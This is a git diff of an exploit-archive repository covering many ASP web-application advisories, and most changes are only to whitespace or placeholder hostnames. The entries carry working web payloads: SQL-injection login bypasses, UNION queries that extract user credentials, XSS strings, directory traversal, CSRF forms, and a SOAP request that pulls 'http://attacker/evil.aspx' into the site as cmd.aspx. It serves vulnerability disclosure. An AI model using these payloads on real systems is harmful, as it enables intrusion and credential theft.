b/platforms/asp/webapps/32635.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc The following example input is available: User:admin -pass:' or ' \ No newline at end of file +pass:' or ' \ No newline at end of file diff --git a/platforms/asp/webapps/32658.txt b/platforms/asp/webapps/32658.txt index 078054866..759622eb5 100755 --- a/platforms/asp/webapps/32658.txt +++ b/platforms/asp/webapps/32658.txt @@ -4,4 +4,4 @@ ASP-DEV XM Events Diary is prone to an SQL-injection vulnerability because it fa Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/[path]/default.asp?cat=[SQL] \ No newline at end of file +http://www.example.com/[path]/default.asp?cat=[SQL] \ No newline at end of file diff --git a/platforms/asp/webapps/32660.txt b/platforms/asp/webapps/32660.txt index fab7834de..3df221e23 100755 --- a/platforms/asp/webapps/32660.txt +++ b/platforms/asp/webapps/32660.txt @@ -11,3 +11,4 @@ + \ No newline at end of file diff --git a/platforms/asp/webapps/32683.txt b/platforms/asp/webapps/32683.txt index 417dfce67..d723d363f 100755 --- a/platforms/asp/webapps/32683.txt +++ b/platforms/asp/webapps/32683.txt @@ -4,4 +4,4 @@ Mavi Emlak is prone to an SQL-injection vulnerability because it fails to proper Attackers may exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/newDetail.asp?haberNo=-9999%20union%20select%200,username,password,3,4,5%20from%20Danismanlar \ No newline at end of file +http://www.example.com/newDetail.asp?haberNo=-9999%20union%20select%200,username,password,3,4,5%20from%20Danismanlar \ No newline at end of file diff --git a/platforms/asp/webapps/32687.txt b/platforms/asp/webapps/32687.txt index 55e80f3ca..26258cdca 100755 --- a/platforms/asp/webapps/32687.txt +++ b/platforms/asp/webapps/32687.txt @@ -6,4 +6,4 @@ Attackers may exploit this issue to compromise the application, access or modify http://www.example.com/[path]/haber.asp?haber=-999'%20union%20select%200,1,ad,3,4%20from%20Kullanici%20where%20'1 -http://www.example.com/[path]/haber.asp?haber=-999'%20union%20select%200,1,sifre,3,4%20from%20Kullanici%20where%20'1 \ No newline at end of file +http://www.example.com/[path]/haber.asp?haber=-999'%20union%20select%200,1,sifre,3,4%20from%20Kullanici%20where%20'1 \ No newline at end of file diff --git a/platforms/asp/webapps/32716.html b/platforms/asp/webapps/32716.html index 02d0a1b7b..fce63ec45 100755 --- a/platforms/asp/webapps/32716.html +++ b/platforms/asp/webapps/32716.html @@ -6,4 +6,4 @@ An attacker can exploit this issue to gain unauthorized access to the affected a Comersus Cart 6 is vulnerable; other versions may also be affected. -<form method="post" name="modCust" action="http://target/[path]/comersus_customerModifyExec.asp"> <table width="421" border="0"> <tr> </tr> <tr> <td width="168">Name</td> <td width="220"> <input type=text name=customerName value="test"> </td> </tr> <tr> <td width="168">Last Name</td> <td width="220"> <input type=text name=lastName value="test"> </td> </tr> <tr> <td width="168">Company</td> <td width="220"> <input type=text name=customerCompany value="test"> </td> </tr> <tr> <td width="168">Phone</td> <td width="220"> <input type=text name=phone value="123456789"> </td> </tr> <tr> <td width="168"><strong>Email</strong></td> <td width="220"> <input type="text" name="email" value="Please Add Mail"> Edit </td> </tr> <tr> <td width="168"><strong>Password</strong></td> <td width="220"> <input type=text name=password value="Please Add Pass"> Edit </td> </tr> <tr> <td width="168">Address</td> <td width="220"> <input type=text name=address value="test"> </td> </tr> <tr> <td width="168">Zip</td> <td width="220"> <input type=text name=zip value="08050"> </td> </tr> <tr> <td width="168">State</td> <td width="220"> <SELECT name=stateCode size=1> <OPTION value="">Select the state <option value="1">Please Type County below </OPTION> </SELECT> </td> </tr> <tr> <td width="168">Non listed state</td> <td width="220"> <input type=text name=state value=""> </td> </tr> <tr> <td width="168">City</td> <td width="220"> <input type=text name=city value="test"> </td> </tr> <tr> <td width="168">Country</td> <td width="220"> <SELECT name=countryCode> <OPTION value="">Select the country <option value="AF" selected>AFGHANISTAN </OPTION> </SELECT> </td> </tr> <tr> <td width="168">&nbsp;</td> <td width="220">&nbsp;</td> </tr> <tr> <td colspan="2"> <input type="submit" name="Modify" value="Modify"> </td> </tr> </table> </form> \ No newline at end of file +<form method="post" name="modCust" action="http://target/[path]/comersus_customerModifyExec.asp"> <table width="421" border="0"> <tr> </tr> <tr> <td width="168">Name</td> <td width="220"> <input type=text name=customerName value="test"> </td> </tr> <tr> <td width="168">Last Name</td> <td width="220"> <input type=text name=lastName value="test"> </td> </tr> <tr> <td width="168">Company</td> <td width="220"> <input type=text name=customerCompany value="test"> </td> </tr> <tr> <td width="168">Phone</td> <td width="220"> <input type=text name=phone value="123456789"> </td> </tr> <tr> <td width="168"><strong>Email</strong></td> <td width="220"> <input type="text" name="email" value="Please Add Mail"> Edit </td> </tr> <tr> <td width="168"><strong>Password</strong></td> <td width="220"> <input type=text name=password value="Please Add Pass"> Edit </td> </tr> <tr> <td width="168">Address</td> <td width="220"> <input type=text name=address value="test"> </td> </tr> <tr> <td width="168">Zip</td> <td width="220"> <input type=text name=zip value="08050"> </td> </tr> <tr> <td width="168">State</td> <td width="220"> <SELECT name=stateCode size=1> <OPTION value="">Select the state <option value="1">Please Type County below </OPTION> </SELECT> </td> </tr> <tr> <td width="168">Non listed state</td> <td width="220"> <input type=text name=state value=""> </td> </tr> <tr> <td width="168">City</td> <td width="220"> <input type=text name=city value="test"> </td> </tr> <tr> <td width="168">Country</td> <td width="220"> <SELECT name=countryCode> <OPTION value="">Select the country <option value="AF" selected>AFGHANISTAN </OPTION> </SELECT> </td> </tr> <tr> <td width="168">&nbsp;</td> <td width="220">&nbsp;</td> </tr> <tr> <td colspan="2"> <input type="submit" name="Modify" value="Modify"> </td> </tr> </table> </form> \ No newline at end of file diff --git a/platforms/asp/webapps/32730.txt b/platforms/asp/webapps/32730.txt index d8855a826..cef735c46 100755 --- a/platforms/asp/webapps/32730.txt +++ b/platforms/asp/webapps/32730.txt @@ -7,4 +7,4 @@ Exploiting these issues could allow an attacker to steal cookie-based authentica http://www.example.com/[Path]/search.asp?search=<meta+http-equiv='Set-cookie'+content='cookiename=cookievalue'>&submit=%3E -http://www.example.com/[Path]/search.asp?search=>"><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>&submit=%3E \ No newline at end of file +http://www.example.com/[Path]/search.asp?search=>"><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>&submit=%3E \ No newline at end of file diff --git a/platforms/asp/webapps/32736.txt b/platforms/asp/webapps/32736.txt index 9c86c2893..8ba9d39d2 100755 --- a/platforms/asp/webapps/32736.txt +++ b/platforms/asp/webapps/32736.txt @@ -4,4 +4,4 @@ DMXReady Blog Manager is prone to a cross-site scripting vulnerability and an SQ Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/[Path]/inc_webblogmanager.asp?CategoryID=>"><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>&ItemID=1&action=refer \ No newline at end of file +http://www.example.com/[Path]/inc_webblogmanager.asp?CategoryID=>"><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>&ItemID=1&action=refer \ No newline at end of file diff --git a/platforms/asp/webapps/32748.txt b/platforms/asp/webapps/32748.txt index 97473579a..a872d10fa 100755 --- a/platforms/asp/webapps/32748.txt +++ b/platforms/asp/webapps/32748.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow BBSXP 5.13 and prior are vulnerable. -http://www.example.com/bbs/error.asp?message=xss \ No newline at end of file +http://www.example.com/bbs/error.asp?message=xss \ No newline at end of file diff --git a/platforms/asp/webapps/32750.txt b/platforms/asp/webapps/32750.txt index 8c3ff5dac..970c57de0 100755 --- a/platforms/asp/webapps/32750.txt +++ b/platforms/asp/webapps/32750.txt @@ -4,4 +4,4 @@ OBLOG is prone to a cross-site scripting vulnerability because it fails to suffi An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/oblog/err.asp?message=xss \ No newline at end of file +http://www.example.com/oblog/err.asp?message=xss \ No newline at end of file diff --git a/platforms/asp/webapps/32756.txt b/platforms/asp/webapps/32756.txt index 2806e4193..ad1e15b6a 100755 --- a/platforms/asp/webapps/32756.txt +++ b/platforms/asp/webapps/32756.txt @@ -4,4 +4,4 @@ LDF is prone to an SQL-injection vulnerability because it fails to sufficiently Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/[ldf path]/login.asp?user=[SQL COMMAND] \ No newline at end of file +http://www.example.com/[ldf path]/login.asp?user=[SQL COMMAND] \ No newline at end of file diff --git a/platforms/asp/webapps/32758.txt b/platforms/asp/webapps/32758.txt index ab285c406..9ef680bfd 100755 --- a/platforms/asp/webapps/32758.txt +++ b/platforms/asp/webapps/32758.txt @@ -4,4 +4,4 @@ Lootan is prone to an SQL-injection vulnerability because it fails to sufficient Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/[path]/login.asp?username=[SQL COMMAND] \ No newline at end of file +http://www.example.com/[path]/login.asp?username=[SQL COMMAND] \ No newline at end of file diff --git a/platforms/asp/webapps/32797.txt b/platforms/asp/webapps/32797.txt index 61614c3ef..966b8b65c 100755 --- a/platforms/asp/webapps/32797.txt +++ b/platforms/asp/webapps/32797.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, a Banking@Home 2.1 is vulnerable; other versions may also be affected. -http://www.example.com/document_root/Login.asp?LoginName='Some_SQL_Stuff&Password=&submit=Login \ No newline at end of file +http://www.example.com/document_root/Login.asp?LoginName='Some_SQL_Stuff&Password=&submit=Login \ No newline at end of file diff --git a/platforms/asp/webapps/32882.txt b/platforms/asp/webapps/32882.txt index 932f84f9e..9c3b4e8b1 100755 --- a/platforms/asp/webapps/32882.txt +++ b/platforms/asp/webapps/32882.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow NOTE: This issue may be related to the one described in BID 12107 (Business Objects Crystal Enterprise Report File Cross-Site Scripting Vulnerability). We will update or retire this BID when more information emerges. -https://www.example.com/some/path/viewreport.asp?url=viewrpt.cwr?ID=7777"%0d%0awindow.alert%20"fsck_cissp^^INIT=actx:connect \ No newline at end of file +https://www.example.com/some/path/viewreport.asp?url=viewrpt.cwr?ID=7777"%0d%0awindow.alert%20"fsck_cissp^^INIT=actx:connect \ No newline at end of file diff --git a/platforms/asp/webapps/32898.txt b/platforms/asp/webapps/32898.txt index aec897c40..5eaf3ebfc 100755 --- a/platforms/asp/webapps/32898.txt +++ b/platforms/asp/webapps/32898.txt @@ -8,4 +8,4 @@ Absolute Form Processor XE 1.5 is vulnerable; other versions may also be affecte The following example input is available: -username: ' or '1=1 \ No newline at end of file +username: ' or '1=1 \ No newline at end of file diff --git a/platforms/asp/webapps/32903.txt b/platforms/asp/webapps/32903.txt index 78f3f3e04..46ac05275 100755 --- a/platforms/asp/webapps/32903.txt +++ b/platforms/asp/webapps/32903.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc The following example data is available: -username: ' or 1=(Select top 1 WAM_UserID from WebAppMgrs)-- \ No newline at end of file +username: ' or 1=(Select top 1 WAM_UserID from WebAppMgrs)-- \ No newline at end of file diff --git a/platforms/asp/webapps/33009.txt b/platforms/asp/webapps/33009.txt index e980368c5..c102577d7 100755 --- a/platforms/asp/webapps/33009.txt +++ b/platforms/asp/webapps/33009.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow The issue affects versions prior to DotNetNuke 4.9.4. -http://www.example.com/ErrorPage.aspx?status=500&error=test%3Ciframe%20src=%22http://www.example.net/XSS.html%22%3 \ No newline at end of file +http://www.example.com/ErrorPage.aspx?status=500&error=test%3Ciframe%20src=%22http://www.example.net/XSS.html%22%3 \ No newline at end of file diff --git a/platforms/asp/webapps/33171.txt b/platforms/asp/webapps/33171.txt index 9e4e4a731..91ed77f3e 100755 --- a/platforms/asp/webapps/33171.txt +++ b/platforms/asp/webapps/33171.txt @@ -8,4 +8,4 @@ DUgallery 3.0 is vulnerable; other versions may also be affected. The following example URI is available: -http://www.example.com/Accessories/admin/edit.asp?iPic=[PictureID] \ No newline at end of file +http://www.example.com/Accessories/admin/edit.asp?iPic=[PictureID] \ No newline at end of file diff --git a/platforms/asp/webapps/33236.txt b/platforms/asp/webapps/33236.txt index e540f8309..12e1acc37 100755 --- a/platforms/asp/webapps/33236.txt +++ b/platforms/asp/webapps/33236.txt @@ -4,4 +4,4 @@ MaxWebPortal is prone to an SQL-injection vulnerability because it fails to suff Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/forum.asp?FORUM_ID=42&CAT_ID=7+and+1=convert%28int,@@version%29-- \ No newline at end of file +http://www.example.com/forum.asp?FORUM_ID=42&CAT_ID=7+and+1=convert%28int,@@version%29-- \ No newline at end of file diff --git a/platforms/asp/webapps/33268.html b/platforms/asp/webapps/33268.html index f41d084e7..0a68d2d8a 100755 --- a/platforms/asp/webapps/33268.html +++ b/platforms/asp/webapps/33268.html @@ -6,4 +6,4 @@ Attacker-supplied HTML or JavaScript code could run in the context of the affect AfterLogic WebMail Pro 4.7.10 and prior versions are affected. -<html> <head> </head> <body onLoad="document.form1.submit()"> <form name="form1" method="post" action="http://www.example.com/history-storage.aspx?param=0.21188772204998574" onSubmit="return false;"> <input type="hidden" name="HistoryKey" value="value"/> <input type="hidden" name="HistoryStorageObjectName" value="location; alert('xss'); //"/> </form> </body> </html> \ No newline at end of file +<html> <head> </head> <body onLoad="document.form1.submit()"> <form name="form1" method="post" action="http://www.example.com/history-storage.aspx?param=0.21188772204998574" onSubmit="return false;"> <input type="hidden" name="HistoryKey" value="value"/> <input type="hidden" name="HistoryStorageObjectName" value="location; alert('xss'); //"/> </form> </body> </html> \ No newline at end of file diff --git a/platforms/asp/webapps/33361.txt b/platforms/asp/webapps/33361.txt index 2dbf18571..0534bd7ee 100755 --- a/platforms/asp/webapps/33361.txt +++ b/platforms/asp/webapps/33361.txt @@ -14,4 +14,4 @@ Other products may also be affected. The following proof-of-concept login and password examples are available: admin 'or' '=' -password 'or' '=' \ No newline at end of file +password 'or' '=' \ No newline at end of file diff --git a/platforms/asp/webapps/3339.txt b/platforms/asp/webapps/3339.txt index 67af5f560..8eb9e91d9 100755 --- a/platforms/asp/webapps/3339.txt +++ b/platforms/asp/webapps/3339.txt @@ -11,7 +11,7 @@ Bulan: xoron Download: http://www.aspindir.com/Goster/3439 ----------------------------------------------------------------------- -Exploit: http://server/ page.asp?art_id=[SQL] +Exploit: http://www.target.com/ page.asp?art_id=[SQL] Username: page.asp?art_id=-1+union+select+0,Name,2,3,4,5,6,7,8,9+from+Users+where+id=1 diff --git a/platforms/asp/webapps/33481.txt b/platforms/asp/webapps/33481.txt index 1560c4acf..13201b71f 100755 --- a/platforms/asp/webapps/33481.txt +++ b/platforms/asp/webapps/33481.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow BlogWorx 1.0 is vulnerable; other versions may be affected as well. -http://www.example.com/openforum/forum.asp?fid=12&ofact=1&ofmsgid=227&ofdisp=[XSS-Vuln] \ No newline at end of file +http://www.example.com/openforum/forum.asp?fid=12&ofact=1&ofmsgid=227&ofdisp=[XSS-Vuln] \ No newline at end of file diff --git a/platforms/asp/webapps/33700.txt b/platforms/asp/webapps/33700.txt index 4ea9f077d..9a9db24b5 100755 --- a/platforms/asp/webapps/33700.txt +++ b/platforms/asp/webapps/33700.txt @@ -134,4 +134,4 @@ security advisories. More information about RedTeam Pentesting can be found at https://www.redteam-pentesting.de. --- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 Geschäftsführer: Patrick Hof, Jens Liebchen \ No newline at end of file +-- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 Geschäftsführer: Patrick Hof, Jens Liebchen \ No newline at end of file diff --git a/platforms/asp/webapps/33715.txt b/platforms/asp/webapps/33715.txt index 266eda89b..e57fa645a 100755 --- a/platforms/asp/webapps/33715.txt +++ b/platforms/asp/webapps/33715.txt @@ -4,4 +4,4 @@ Spectrum Software WebManager CMS is prone to a cross-site scripting vulnerabilit An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/Search_1.aspx?pojam=[XSS] \ No newline at end of file +http://www.example.com/Search_1.aspx?pojam=[XSS] \ No newline at end of file diff --git a/platforms/asp/webapps/33720.txt b/platforms/asp/webapps/33720.txt index 24fec50ac..a69bb8430 100755 --- a/platforms/asp/webapps/33720.txt +++ b/platforms/asp/webapps/33720.txt @@ -4,4 +4,4 @@ Pre E-Learning Portal is prone to an SQL-injection vulnerability because it fail Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/elearning/search_result.asp?courses=1&course_ID=[SQL] \ No newline at end of file +http://www.example.com/elearning/search_result.asp?courses=1&course_ID=[SQL] \ No newline at end of file diff --git a/platforms/asp/webapps/33758.txt b/platforms/asp/webapps/33758.txt index 8e910604f..4aca5c52d 100755 --- a/platforms/asp/webapps/33758.txt +++ b/platforms/asp/webapps/33758.txt @@ -4,4 +4,4 @@ Zigurrat Farsi CMS is prone to an SQL-injection vulnerability because it fails t Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/manager/textbox.asp?id=' \ No newline at end of file +http://www.example.com/manager/textbox.asp?id=' \ No newline at end of file diff --git a/platforms/asp/webapps/33761.txt b/platforms/asp/webapps/33761.txt index 1f346f0cd..a8acbfcde 100755 --- a/platforms/asp/webapps/33761.txt +++ b/platforms/asp/webapps/33761.txt @@ -4,4 +4,4 @@ Pars CMS is prone to multiple SQL-injection vulnerabilities because it fails to Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/fa_default.asp?RP=' UNION SELECT TOP 3 AttrName FROM validTableName%00 \ No newline at end of file +http://www.example.com/fa_default.asp?RP=' UNION SELECT TOP 3 AttrName FROM validTableName%00 \ No newline at end of file diff --git a/platforms/asp/webapps/33840.txt b/platforms/asp/webapps/33840.txt index e8eac175c..f0721090e 100755 --- a/platforms/asp/webapps/33840.txt +++ b/platforms/asp/webapps/33840.txt @@ -4,4 +4,4 @@ Ziggurat Farsi CMS is prone to a directory-traversal vulnerability because it fa Exploiting this issue will allow an attacker to view arbitrary files within the context of the application. Information harvested may aid in launching further attacks. -http://www.example.com/manager/backup.asp?bck=./../file.asp \ No newline at end of file +http://www.example.com/manager/backup.asp?bck=./../file.asp \ No newline at end of file diff --git a/platforms/asp/webapps/33923.txt b/platforms/asp/webapps/33923.txt index dc5e56a1d..40fdd6a2f 100755 --- a/platforms/asp/webapps/33923.txt +++ b/platforms/asp/webapps/33923.txt @@ -4,4 +4,4 @@ SamaGraph CMS is prone to an SQL-injection vulnerability because it fails to suf Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/inside.aspx?g=' or '1'='1'-- \ No newline at end of file +http://www.example.com/inside.aspx?g=' or '1'='1'-- \ No newline at end of file diff --git a/platforms/asp/webapps/33992.txt b/platforms/asp/webapps/33992.txt index 94a317185..01bbfa683 100755 --- a/platforms/asp/webapps/33992.txt +++ b/platforms/asp/webapps/33992.txt @@ -8,4 +8,4 @@ Platnik 8.01.001 is affected; other versions may also be vulnerable. INSERT INTO dbo.UZYTKOWNIK VALUES('LOGIN', 'TEST', 'TEST', 'password hash', '2010-02-28 15:46:48', null, 'A', null)-- INSERT INTO dbo.UPRAWNIENIA VALUES(id_user, id_platnik)-- -or 1=1-- \ No newline at end of file +or 1=1-- \ No newline at end of file diff --git a/platforms/asp/webapps/34034.txt b/platforms/asp/webapps/34034.txt index 943a1bebc..118f5c718 100755 --- a/platforms/asp/webapps/34034.txt +++ b/platforms/asp/webapps/34034.txt @@ -4,4 +4,4 @@ cyberhost is prone to an SQL-injection vulnerability because it fails to suffici Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/default.asp?gb=paketayrinti&id=18+union+select+0,1,2,3,4,5,6,7+from+uye \ No newline at end of file +http://www.example.com/default.asp?gb=paketayrinti&id=18+union+select+0,1,2,3,4,5,6,7+from+uye \ No newline at end of file diff --git a/platforms/asp/webapps/34180.txt b/platforms/asp/webapps/34180.txt index 983b31aa0..c13849831 100755 --- a/platforms/asp/webapps/34180.txt +++ b/platforms/asp/webapps/34180.txt @@ -4,4 +4,4 @@ webConductor is prone to an SQL-injection vulnerability because it fails to suff Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/cs-cms/default.asp?id=70+and+1=0+ Union 2,3,4,5,6,7,8,9,10 (tables & column) \ No newline at end of file +http://www.example.com/cs-cms/default.asp?id=70+and+1=0+ Union 2,3,4,5,6,7,8,9,10 (tables & column) \ No newline at end of file diff --git a/platforms/asp/webapps/34343.txt b/platforms/asp/webapps/34343.txt index d6d41d8b6..8067d49fd 100755 --- a/platforms/asp/webapps/34343.txt +++ b/platforms/asp/webapps/34343.txt @@ -8,4 +8,4 @@ MOJO IWMS 7 is vulnerable; other versions may also be affected. The following example URI is available: -http://www.example.com/upload/default.asp?mode=wrong&ERRMSG=%3Cmeta+http-equiv='Set-cookie'+content='[Cookie-Name]=[Cookie-Value]'%3E \ No newline at end of file +http://www.example.com/upload/default.asp?mode=wrong&ERRMSG=%3Cmeta+http-equiv='Set-cookie'+content='[Cookie-Name]=[Cookie-Value]'%3E \ No newline at end of file diff --git a/platforms/asp/webapps/34344.txt b/platforms/asp/webapps/34344.txt index 313cacfef..016bdcee5 100755 --- a/platforms/asp/webapps/34344.txt +++ b/platforms/asp/webapps/34344.txt @@ -7,4 +7,4 @@ Exploiting these issues could allow an attacker to compromise the application, a The following example data is available: User : 1'or'1'='1 -Pass : 1'or'1'='1 \ No newline at end of file +Pass : 1'or'1'='1 \ No newline at end of file diff --git a/platforms/asp/webapps/34380.txt b/platforms/asp/webapps/34380.txt index 582ec8947..95c4c2827 100755 --- a/platforms/asp/webapps/34380.txt +++ b/platforms/asp/webapps/34380.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Active Business Directory 2 is vulnerable; other versions may also be affected. -http://www.example.com/demoactivebusinessdirectory/searchadvance.asp? <= xss \ No newline at end of file +http://www.example.com/demoactivebusinessdirectory/searchadvance.asp? <= xss \ No newline at end of file diff --git a/platforms/asp/webapps/34614.txt b/platforms/asp/webapps/34614.txt index f57f27452..ccf6f9a27 100755 --- a/platforms/asp/webapps/34614.txt +++ b/platforms/asp/webapps/34614.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow SmarterTools SmarterStats 5.3.3819 is vulnerable; other versions may also be affected. -https://www.example.com/UserControls/Popups/frmHelp.aspx?url='%22--%3E%3Cscript%3Ealert(0x0003DC)%3C/script%3E \ No newline at end of file +https://www.example.com/UserControls/Popups/frmHelp.aspx?url='%22--%3E%3Cscript%3Ealert(0x0003DC)%3C/script%3E \ No newline at end of file diff --git a/platforms/asp/webapps/3466.txt b/platforms/asp/webapps/3466.txt index 9a6902c68..f763f77d0 100755 --- a/platforms/asp/webapps/3466.txt +++ b/platforms/asp/webapps/3466.txt @@ -8,7 +8,7 @@ ##################################### ------- Exploit : -http://www.server/Path/default.asp?layout=-1%20%20union%20select%201,fldauthorusername,fldauthorpassword,1,1,1,1%20from%20tblauthor%20where%201=1 +http://www.Site.Com/Path/default.asp?layout=-1%20%20union%20select%201,fldauthorusername,fldauthorpassword,1,1,1,1%20from%20tblauthor%20where%201=1 Admin Panel : admin_default.asp # milw0rm.com [2007-03-12] diff --git a/platforms/asp/webapps/34687.txt b/platforms/asp/webapps/34687.txt index 6dd662938..91122c048 100755 --- a/platforms/asp/webapps/34687.txt +++ b/platforms/asp/webapps/34687.txt @@ -4,4 +4,4 @@ Smart ASP Survey is prone to a SQL-injection vulnerability because it fails to s Exploiting the vulnerability could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/poll/showresult.asp?catid=[sqli] \ No newline at end of file +http://www.example.com/poll/showresult.asp?catid=[sqli] \ No newline at end of file diff --git a/platforms/asp/webapps/34753.py b/platforms/asp/webapps/34753.py index 77c2238ea..8c7e43699 100755 --- a/platforms/asp/webapps/34753.py +++ b/platforms/asp/webapps/34753.py @@ -29,7 +29,7 @@ if len(sys.argv) < 2: print "| |" print "| Onlineon E-Ticaret Database Disclosure Exploit (.py) |" print "| ZoRLu / milw00rm.com |" - print "| exploit.py http://server/path/ |" + print "| exploit.py http://site.com/path/ |" print "|____________________________________________________________________|" sys.exit(1) diff --git a/platforms/asp/webapps/34936.txt b/platforms/asp/webapps/34936.txt index 46b6df6d6..92cfa73fa 100755 --- a/platforms/asp/webapps/34936.txt +++ b/platforms/asp/webapps/34936.txt @@ -6,4 +6,4 @@ Remote attackers can use a specially crafted request with directory-traversal se i-Gallery 3.4 and 4.1 are vulnerable; other versions may also be affected. -http://www.example.com/igallery41/streamfile.asp?i=./../../../index.asp&f=subdir \ No newline at end of file +http://www.example.com/igallery41/streamfile.asp?i=./../../../index.asp&f=subdir \ No newline at end of file diff --git a/platforms/asp/webapps/34948.txt b/platforms/asp/webapps/34948.txt index f3583d25b..26a4bfd37 100755 --- a/platforms/asp/webapps/34948.txt +++ b/platforms/asp/webapps/34948.txt @@ -6,4 +6,4 @@ Attackers can exploit these issues to upload and execute arbitrary ASP code in t Douran Portal versions 3.9.7.55 and prior are vulnerable. -http://www.example.com/DesktopModules/Gallery/OrderForm.aspx?itemtitle=<script>alert('ITSecTeam')</script> \ No newline at end of file +http://www.example.com/DesktopModules/Gallery/OrderForm.aspx?itemtitle=<script>alert('ITSecTeam')</script> \ No newline at end of file diff --git a/platforms/asp/webapps/35031.txt b/platforms/asp/webapps/35031.txt index d3249a66f..d54dbf8d0 100755 --- a/platforms/asp/webapps/35031.txt +++ b/platforms/asp/webapps/35031.txt @@ -6,4 +6,4 @@ Exploiting these vulnerabilities could allow an attacker to steal cookie-based a BugTracker.NET v3.4.4 is vulnerable; other versions may be affected. -http://www.example.com/edit_comment.aspx?id=48&bug_id=3%3E%3Cscript%3Ealert%28%27%27%29;%3C/script%3E \ No newline at end of file +http://www.example.com/edit_comment.aspx?id=48&bug_id=3%3E%3Cscript%3Ealert%28%27%27%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/asp/webapps/35048.txt b/platforms/asp/webapps/35048.txt index 4c910c45b..2c34f5f20 100755 --- a/platforms/asp/webapps/35048.txt +++ b/platforms/asp/webapps/35048.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Techno Dreams Articles & Papers Package 2.0 is vulnerable; other versions may also be affected. -http://www.example.com/papers/ArticlesTablelist.asp?order=[Code] \ No newline at end of file +http://www.example.com/papers/ArticlesTablelist.asp?order=[Code] \ No newline at end of file diff --git a/platforms/asp/webapps/35049.txt b/platforms/asp/webapps/35049.txt index 8b5412bf5..ed1919653 100755 --- a/platforms/asp/webapps/35049.txt +++ b/platforms/asp/webapps/35049.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Techno Dreams FAQ Manager Package 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/FAQ/faqlist.asp?order=[Code] \ No newline at end of file +http://www.example.com/FAQ/faqlist.asp?order=[Code] \ No newline at end of file diff --git a/platforms/asp/webapps/35168.txt b/platforms/asp/webapps/35168.txt index 20cc7e959..728eb0c21 100755 --- a/platforms/asp/webapps/35168.txt +++ b/platforms/asp/webapps/35168.txt @@ -21,4 +21,4 @@ The following example SOAP requests are available: 3. <GetFile xmlns="http://dotnetblogengine.net/"> <source>http://attacker/evil.aspx</source> <destination>/../../cmd.aspx</destination> -</GetFile> \ No newline at end of file +</GetFile> \ No newline at end of file diff --git a/platforms/asp/webapps/35310.txt b/platforms/asp/webapps/35310.txt index 4655c6bcb..e4646ec68 100755 --- a/platforms/asp/webapps/35310.txt +++ b/platforms/asp/webapps/35310.txt @@ -5,4 +5,4 @@ Web Wiz Forums is prone to multiple SQL-injection vulnerabilities because the ap A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. http://www.example.com/default.asp?pid=[SQLi] -http://www.example.com/viewproduct.asp?PID=[SQli] \ No newline at end of file +http://www.example.com/viewproduct.asp?PID=[SQli] \ No newline at end of file diff --git a/platforms/asp/webapps/35576.txt b/platforms/asp/webapps/35576.txt index e9d44e704..5419b028e 100755 --- a/platforms/asp/webapps/35576.txt +++ b/platforms/asp/webapps/35576.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Omer Portal 3.220060425 is vulnerable; other versions may also be affected. -http://www.example.com/arama_islem.asp?aramadeger=<script>alert(1)</script> \ No newline at end of file +http://www.example.com/arama_islem.asp?aramadeger=<script>alert(1)</script> \ No newline at end of file diff --git a/platforms/asp/webapps/35599.txt b/platforms/asp/webapps/35599.txt index 